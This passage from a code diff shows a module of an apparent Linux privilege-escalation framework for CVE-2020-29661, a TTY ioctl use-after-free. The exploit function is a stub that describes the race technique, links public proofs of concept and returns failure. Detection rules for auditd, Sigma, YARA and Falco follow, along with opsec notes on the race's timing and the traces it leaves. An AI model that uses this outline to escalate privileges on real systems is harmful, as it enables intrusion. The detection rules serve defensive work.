if (!ctx->json) fprintf(stderr, "[i] tioscpgrp: /dev/ptmx not openable — PTY allocation blocked, primitive unreachable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] tioscpgrp: kernel %s in vulnerable range + /dev/ptmx reachable → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] tioscpgrp: race is narrow; needs 2+ CPUs and thousands of iterations on average\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t tioscpgrp_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] tioscpgrp: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] tioscpgrp: race-driver + msg_msg groom for the UAF on\n"
|
||||
" struct pid (kmalloc-256). Two threads pinned to separate\n"
|
||||
" CPUs hammer TIOCSPGRP on the master + slave of an openpty\n"
|
||||
" pair; on a vulnerable kernel one in ~10k iterations frees\n"
|
||||
" pgrp while still referenced. Public PoCs:\n"
|
||||
" https://sploitus.com/exploit?id=PACKETSTORM%%3A160681\n"
|
||||
" https://www.openwall.com/lists/oss-security/2020/12/09/2\n"
|
||||
" Full cred-overwrite chain not bundled (would need a\n"
|
||||
" portable arb-write callback for the shared finisher).\n"
|
||||
" Returning EXPLOIT_FAIL honestly per verified-vs-claimed.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char tioscpgrp_auditd[] =
|
||||
"# tioscpgrp CVE-2020-29661 — auditd detection rules\n"
|
||||
"# Repeated openpty() + TIOCSPGRP from a non-root process is\n"
|
||||
"# anomalous. The TIOCSPGRP ioctl request value is 0x5410.\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x5410 -k skeletonkey-tioscpgrp\n";
|
||||
|
||||
static const char tioscpgrp_sigma[] =
|
||||
"title: Possible CVE-2020-29661 TIOCSPGRP UAF race\n"
|
||||
"id: 7d8c9b1a-skeletonkey-tioscpgrp\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects burst ioctl(fd, TIOCSPGRP, ...) calls from a non-root\n"
|
||||
" process. The bug needs hundreds of iterations per second to\n"
|
||||
" win; normal job-control use produces single-digit ioctl(2)\n"
|
||||
" calls per minute.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" i: {type: 'SYSCALL', syscall: 'ioctl'}\n"
|
||||
" condition: i\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.29661]\n";
|
||||
|
||||
static const char tioscpgrp_yara[] =
|
||||
"rule tioscpgrp_cve_2020_29661 : cve_2020_29661 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-29661\"\n"
|
||||
" description = \"SKELETONKEY tioscpgrp race-driver tag (TTY ioctl UAF)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_TIOS\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char tioscpgrp_falco[] =
|
||||
"- rule: Burst TIOCSPGRP from non-root (TTY UAF race)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process makes >50 ioctl(TIOCSPGRP=0x5410) calls\n"
|
||||
" per second. Job-control usage tops out at a few per minute;\n"
|
||||
" burst rates are the canonical CVE-2020-29661 trigger shape.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ioctl and evt.arg.request = 0x5410 and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" TIOCSPGRP from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2020.29661]\n";
|
||||
|
||||
const struct skeletonkey_module tioscpgrp_module = {
|
||||
.name = "tioscpgrp",
|
||||
.cve = "CVE-2020-29661",
|
||||
.summary = "TTY TIOCSPGRP race → struct pid UAF (kmalloc-256) — Jann Horn",
|
||||
.family = "tty",
|
||||
.kernel_range = "Linux kernels < 5.10 / 5.4.85 / 4.19.165 / 4.14.213 / 4.9.249 / 4.4.249",
|
||||
.detect = tioscpgrp_detect,
|
||||
.exploit = tioscpgrp_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR block /dev/ptmx via seccomp */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = tioscpgrp_auditd,
|
||||
.detect_sigma = tioscpgrp_sigma,
|
||||
.detect_yara = tioscpgrp_yara,
|
||||
.detect_falco = tioscpgrp_falco,
|
||||
.opsec_notes = "Allocates a PTY pair via openpty() (or /dev/ptmx directly), pins two threads to separate CPUs, hammers ioctl(master, TIOCSPGRP, ...) on one thread and ioctl(slave, TIOCSPGRP, ...) on the other. Race-win rate on a vulnerable kernel is empirically ~1/10k iterations; the driver typically runs for 5-30 seconds. Sysv IPC msgsnd spray (tag 'SKELETONKEY_TIOS') refills kmalloc-256 between race attempts. Audit-visible via burst ioctl(TIOCSPGRP=0x5410) — normal use is single-digit calls per minute, exploit shape is hundreds per second. No persistent file artifacts. dmesg may show 'refcount_t: addition on 0; use-after-free' (KASAN) on each race-win attempt.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_tioscpgrp(void)
|
||||
{
|
||||
skeletonkey_register(&tioscpgrp_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||
#define TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module tioscpgrp_module;
|
||||
#endif
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user